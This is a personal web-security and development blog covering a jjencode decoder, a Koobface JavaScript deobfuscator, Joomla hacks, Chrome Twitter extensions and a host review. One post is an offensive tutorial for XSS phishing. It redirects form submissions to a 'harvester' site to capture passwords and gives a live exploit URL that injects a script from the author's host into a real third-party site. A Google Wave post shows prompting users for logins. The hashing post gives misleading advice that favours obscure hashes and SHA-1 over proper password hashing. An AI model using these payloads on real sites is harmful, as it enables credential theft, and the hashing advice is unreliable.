jjencode decoder (jjdecode)

So I’ve had a look at jjencode some time ago and today I decided to do a decoder for the bloody thing. Instead of creating an entire parser for JS I decided to trust the code a bit by evaling the code prior to the encoded part and thereby letting the browsers JS engine build up the scope for me to use afterwards.

If you have no clue what jjencode is then you can read this: http://pferrie2.tripod.com/papers/jjencode.pdf and this: http://utf-8.jp/public/20090710/jjencode.pps. And you can try it here: http://utf-8.jp/public/jjencode.html. Basicly it encoded your code into symbols only. alert(0) would be be encoded into this (with parameter g set to “_”):

 1: _=~[];
 2: _={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};
 3: _.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;
 4: _.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;
 5: _.$=(_.___)[_.$_][_.$_];
 6: _.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"("+_.___+")"+"\"")())();

I’m aware that could lead to some code execution in the decoding part but if that code is incoded it needs the full scope inorder to eval it. All non-encoded code I would be able to filter of by myself. A code which could trigger a code execution at accident at this time would be:

 1: _=~[];
 2: alert(0);
 3: _={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};
 4: _.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;
 5: _.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;
 6: _.$=(_.___)[_.$_][_.$_];
 7: _.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"("+_.___+")"+"\"")())();

The alert(0) in the second line would be fired off, but then again. It’s quite easy to spot in this example. If I get some more time, I’ll go the long was in decoding this the proper way.

In the decoder I start by finding the variable name of the main object (in the encoder that’s the paramter g) hereafter I start splitting the encoded code up at all semi-colons (;) with a RegEx. Here’s the two RegExs, first the one for parameter g and then the one for splitting up the lines (text is my input of encoded code).

 1: var g = text.match(/([^=])=~\[\];/)[1];
 2: var lines = text.match(/([^;]*);/g);

With g and the lines in hand I do a loop on the lines checking for the execution part of jjencode. If it’s not found I’ll eval the line, otherwise I’ll set the variable lookAhead to true and thereby concatinating the rest of the encoded lines before pulling out the encoded code out of the execution part and running eval on the thing for it to return it’s content. More explaning comes later on. Here’s the if from the loop, I’ll just run it through.

 1: if ( ! lines[i].match(/_.\$\(_.\$\(/) && ! lookAhead) {
 2:     eval(lines[i]);
 3: } else {
 4:     lookAhead = true;
 5:     finalLine = finalLine + lines[i];
 6:
 7:     if (i == lines.length - 1) {
 8:         // _.\$\((.*)(\)\(\))
 9:         var re = new RegExp(g + '.\\$\\((.*)(\\)\\(\\))');
 10:         var reString = finalLine.match(re);
 11:         output = eval(reString[1]);
 12:     }
 13: }

Line 1 if of course the check whether the execution part of jjencode is to be found in the line. If not I’ll eval the code at line 2. Inside the else I’ll start the lookAhead since the execution part was found, I’ll concat the line to the finalLine variable. When there is no more lines to concat it will trigger the if sentence at line 7. The RegEx at line 9 vill take the return code inside the execution part and take it out to eval it and return lastly.

You can try the thing here: http://e-x-e.dk/labs/jjdecode/index.php, go have some fun and let me know if you do something smiliar. Remeber to have your console open when fooling around with this. The decoder function can be found here: http://e-x-e.dk/labs/jjdecode/assets/decoder.js and the encoder here: http://e-x-e.dk/labs/jjdecode/assets/encoder.js (the encoder is from http://utf-8.jp/public/jjencode.html).

Oh look what I did: a simple Javascript deobfuscator in PHP

So I’ve got this assignment the other day, some Javascript which were obfuscated in an annoying but rather traditional way (seems like it was some variant of Koobface). All of the strings were encoded into hex and saved into a huge array in order to make it harder to analyse by security people like myself. So decoded the array and started doing a couple of functions myself. Then I got tired and felt that there were a smarter way doing this. So there were…

I started doing a fun regex for getting the large blobs of strings used to obfuscate a lot of the actions in the scripts:

/var ([_0-9a-zA-Z]*).?=.?\[([\"a-zA-Z0-9,\\\\]*)\]/

After obtaining this variable I split up the array and decode the values, building up the array for later use.

From there I take the input file (fx. Koobface) and let the code replace the obfuscated parts of the input with the decoded values from the blob of strings extracted.  After that I do a bit to beautify the code, but if you don’t really like it I recommend: http://jsbeautifier.org/. (You can disable the beautify bit by setting the third parameter of replaceDisassembleVars to false).

The code is split up in a couple of main functions with a couple of helper functions. No fancy classes etc at this point but it’ll maybe come later if I get to do some more work on this.

First get the input loaded to a variable fx. with file_get_contents($filePath). Hereafter you get the array extracted from the script with the getDisassembleVars($input). From there you get the deobfuscated script with replaceDisassembleVars($input, $disassembleVars, $beautify = true) which you then can echo.

The code can be downloaded here together with a couple of variants of Koobface in input_1.txt and input_2.txt. Password to the zip is “infected”: http://e-x-e.dk/stuff/js_deobfuscator.zip.

How to phish the effective and smart way using XSS

Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself) you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc. 

Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.

Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue.

One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.

With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.

It can be done with this 3 step attack:

1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC.

2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:

http://www.e-x-e.dk/labs/autoPhisher/source/index.php

This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc.

The last part of the script is computing a new pusher-injected URL to which the victim will be sent.

3. step: Let the pusher to its job

Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript.

The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:

http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php

Here a place you can test this thing out:

http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E

Example user / password: testerLars / testerLars

Let me know what you think by making some comments and maybe leaving some more usage examples.

Choosing hash method in PHP

So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?

Speed

I started with some benchmarking: http://e-x-e.dk/labs/timing/ (source: http://www.e-x-e.dk/labs/timing/source.php).

This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.

Common vs. uncommon method

When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (http://www.freerainbowtables.com/da/tables/md5/). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.

Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce.

Hash method attacks

The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (http://en.wikipedia.org/wiki/Collision_attack) or a preimage attack (http://en.wikipedia.org/wiki/Preimage_attack). Therefore you should also have this in your considerations when choosing a hashing method for your site.

Other things to consider

Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.

I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?

Hacking Google Wave (XSS, XSSR)

The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? :)

So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? ;)

Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.

One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.

One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. ;)

The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.

This is what I’ve been doing the last day or two :) I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox :)

My Gadget can be viewed and tested at this URL:

http://e-x-e.dk/labs/waveHack/hack1.xml

Or you can just watch the screenshots:
Vis Google Wave hack

Joomla hacks that makes your day easier

So If you read my previous post about the fact that Joomla sucks and why Joomla makes me so frustrated you properly thought I would be nice with some solutions on the problems stated.

So I created some hacks as answers, here goes:

A custom menu-maker operating in only one sub-level because that is what I needed. But if you need infinite sub-level just create a function from the code beneath.

 
$menu = JSite::getMenu();
foreach ($menu->getItems("parent", "0") as $item) {
	echo "
<li><a href="\"/$item-">link\">" . $item->name . "</a>";
	if ($menu->getItems("parent", $item->id)) {
		echo "
<ul>";
		echo "
 
";
		foreach ($menu->getItems("parent", $item->;id) as $subItem) {
			echo "
<li><a href="\"/$item-">link\">" . $subItem->name . "</a></li>
 
";
		}
		echo "
 
";
		echo "</ul>
 
";
	}
	echo "</li>
 
\n";
}

Please note that the menu items and the sub-level items is objects and not arrays of data.

Why Joomla sucks!

So I got this job from a customer: setup a design from a sliced PSD file into some CSS formatted XHTML. Fair enough, that couldn’t be that hard – and it wasn’t. The real pain the in ass is NOW:

I have to set the darn thing up so it can run in Joomla! I’ve heard good things about Joomla in the past and I thought it would be a pleasure to do so. But I was wrong – boy was I wrong?!

First of all I got this horizontal menu at the top. I made it so it beautifully supports sub-items, nicely done in jQuery and in CSS. But since Joomla can’t generate the menu correctly itself I now have to hack Joomla and the menu in order to get the right view. It could have been nicely done if just Joomla offered some kind of advanced template functions like: “getMenuItems($menuId)”. I guess I’m just frustrated, I’ll move on to the some of the other stuff I guess – or so I thought.

I thought I could setup the place where the content goes but nooooooo. The div where the content goes is very specific with paddings, margins and width but I thought that putting in some content wouldn’t fuck that up but I was wrong again. Because for some unknown reason Joomla had to create nested divs, tables and what not inside my perfect CSS. And I can’t really hack this part because the “content holder” that Joomla uses is reused by all of it’s freaking components. I begin to wonder if it would be easier and faster to create this freaking thing from scratch!

I just gave up for today with a little hope though all of these freaking problems today. Because I maybe found a secret weapon within Joomla, an API – yes you read right! An API! The holy grail for a lot of developers as myself which do not accept the second best solution. But now I got a new problem! Only like 5 or 10% of this holy grail is documented in their API reference wiki.

Please comment or contact me if you got some solutions to some of my problems, if you are a Joomla geek or if you also got problems with Joomla and want to get it of your chest – just like I just did :)

Labs: Twitter Add-on (extension) for Google Chrome, new version – new post.

So after a not of attention after my first release of the Twitter Add-on for Google Chrome I decided to rewrite the whole thing today.

This has resulted in some dramatic changes and improvements. But I’ve also got some things I would like to investigate further to improve the extension further.

Why doesn’t the extension (toolstrip) catch backspace key press but it does catches a normal key press like an enter key press or a simple letter?

Furthermore I’m considering letting an “enter” key press in the input field call the TwitterMe() function instead of letting the button (id=”submitMe”) doing so.

If you got some thoughts on this please comment this post.

Now for the changes and improvements of the new version of the extension. As Aaron suggested in my last post as a comment to the first and earlier version I let the Twitter-icon be a controller for toggling the visibility of the input and button. This works quite well after I decided to use jQuery as the JavaScript framework in this extension. I would have liked to expand the extension in the height but I couldn’t get Chrome to “dynamically” change the height of the toolstrip, only the width. I think the below quote should be rewritten if it’s only possible “dynamically” change the height of the toolstrip.

The toolbar automatically detects how much space a toolstrip needs and reflows. So you can resize your toolstrip dynamically if you need a little more room temporarily. - http://dev.chromium.org/developers/design-documents/extensions/toolstrips

Aaron also asked why I didn’t use a XHR call to the (brilliant) Twitter API instead of using the server-layer and that me research the possibilities of such a solution. After some investigation it’s now working fantastic.

Furthermore I decided to kick out the username and password fields since they were ruining the flow of extension. Your username and password is now to be entered in the “twitter-interface.html” which now also is XHTML Strict 1.0 valid (if that matters anyway).

Underneath I’ll include the download link to the new version as well as some new screenshots. Have fun and comment please! :-)

Download link: http://e-x-e.dk/labs/chrome-twitter/twitter-addon_v_0_2.zip

screen0screen1

Did you enjoy this post? Have a look at the post before, in this post there are some more information about installing the add-on (extension): http://www.e-x-e.dk/2009/05/29/labs-twitter-add-on-extension-for-google-chrome/.

Labs: Twitter Add-on (extension) for Google Chrome

Did you like this post, take a look at the new post and the new version of the add-on (extension): http://www.e-x-e.dk/2009/05/30/labs-twitter-add-on-extension-for-google-chrome-new-version-new-post/.

So, today I saw some article about the Google Chrome add-ons (extensions as they also call them). And since I’m a Chrome user myself I decided to play along by creating a small basic extension for Chrome.

I went along and created a small extension which would update a persons status on Twitter (and possibly also Facebook - through the Twitter application). It works in a really simple fashion using a client-part and a server-part. I had to do so since Google Chrome doesn’t support native cURL yet. So this is how it works:

Client-part: A simple form containing the status, username and password which is posting to a php file (post.php).

Server-part: The server-part consists of the post.php and the twitterAPI.php. The post.php handels the post from the client and calls the function (in twitterAPI.php) which does a cURL post to the Twitter API. The function returns a fresh form ready to update the status after entering the new status and the password (username has been passed on after the return). The twitterAPI.php is a modified edition of the original work of Antonio Lupetti (http://woork.blogspot.com/2007/10/twitter-send-message-from-php-page.html)

For testing I just used the commandline option by editing the shortcut:
Target:
    "path_to_the_chrome.exe" --enable-extensions --load-extension="The_path_to_the_addon_folder"

    fx.
    "C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application\chrome.exe" --enable-extensions --load-extension="C:\Users\Thomas Stig Jacobsen\Documents\Chrome addons\twitter"
Start in:
    "path_to_your_chrome_application_folder"

    fx.
    "C:\Users\Thomas Stig Jacobsen\AppData\Local\Google\Chrome\Application"

I’m allowing anyone to use my server as the server-part (there is no kind of logging, I’m using the files that you can download underneath).

All the files can be found here:

http://e-x-e.dk/labs/chrome-twitter/twitter-addon.zip

Screenshot:

Click here for a greater view!

Review of the webhost one.com

I’ve been a customer of one.com for over 4 years now (started: 08-11-04) and I’ve been very pleased so far. I hasn't had a lot of support cases and emails regarding the service or uptime from one.com

Though the years one.com has upgraded it’s offers from time to time and each time I and other old customers have been upgraded as well, for that I’m sure we all are very grateful.

Even though one.com is a nice, reliable and fast host it still has some lacks and the one of them that has been most frustrating has got be the fact that you CAN NOT connect to the MySQL server externally. The first year of my subscription with one.com I didn’t really use the MySQL at all since I was a HTML kid who didn’t got broadband yet and therefore did all my server-scripting (with a database) at home on a private local server. But the problem was shown it’s UGLY face each and every time I’m doing a new project on my one server for a change.

The main problem is really that I’m a desktop- and not a all-browser-guy. Summed up: I DOSN’T LIKE phpMyAdmin at all, in any way what so ever. I uses the desktop administrative tools from MySQL.com which I find a lot more useful. But in order to connect to your MySQL server externally, you need to know the servers IP or DNS address but even though I’ve been literally begging one.com for an IP or DNS nothing good has come out of it. So sad…

All of this frustration puts me in a kind of messy situation. I doesn't want to leave a good and reliable host for this one thing. But on the other side I doesn't want to be dependant on other peoples servers/hosts where it’s an option to connect to the MySQL externally.

So my question to you dear reader, what should I do? Should I leave my good old host one.com and jeopardize my reliable site, e-mails etc?

Go back to top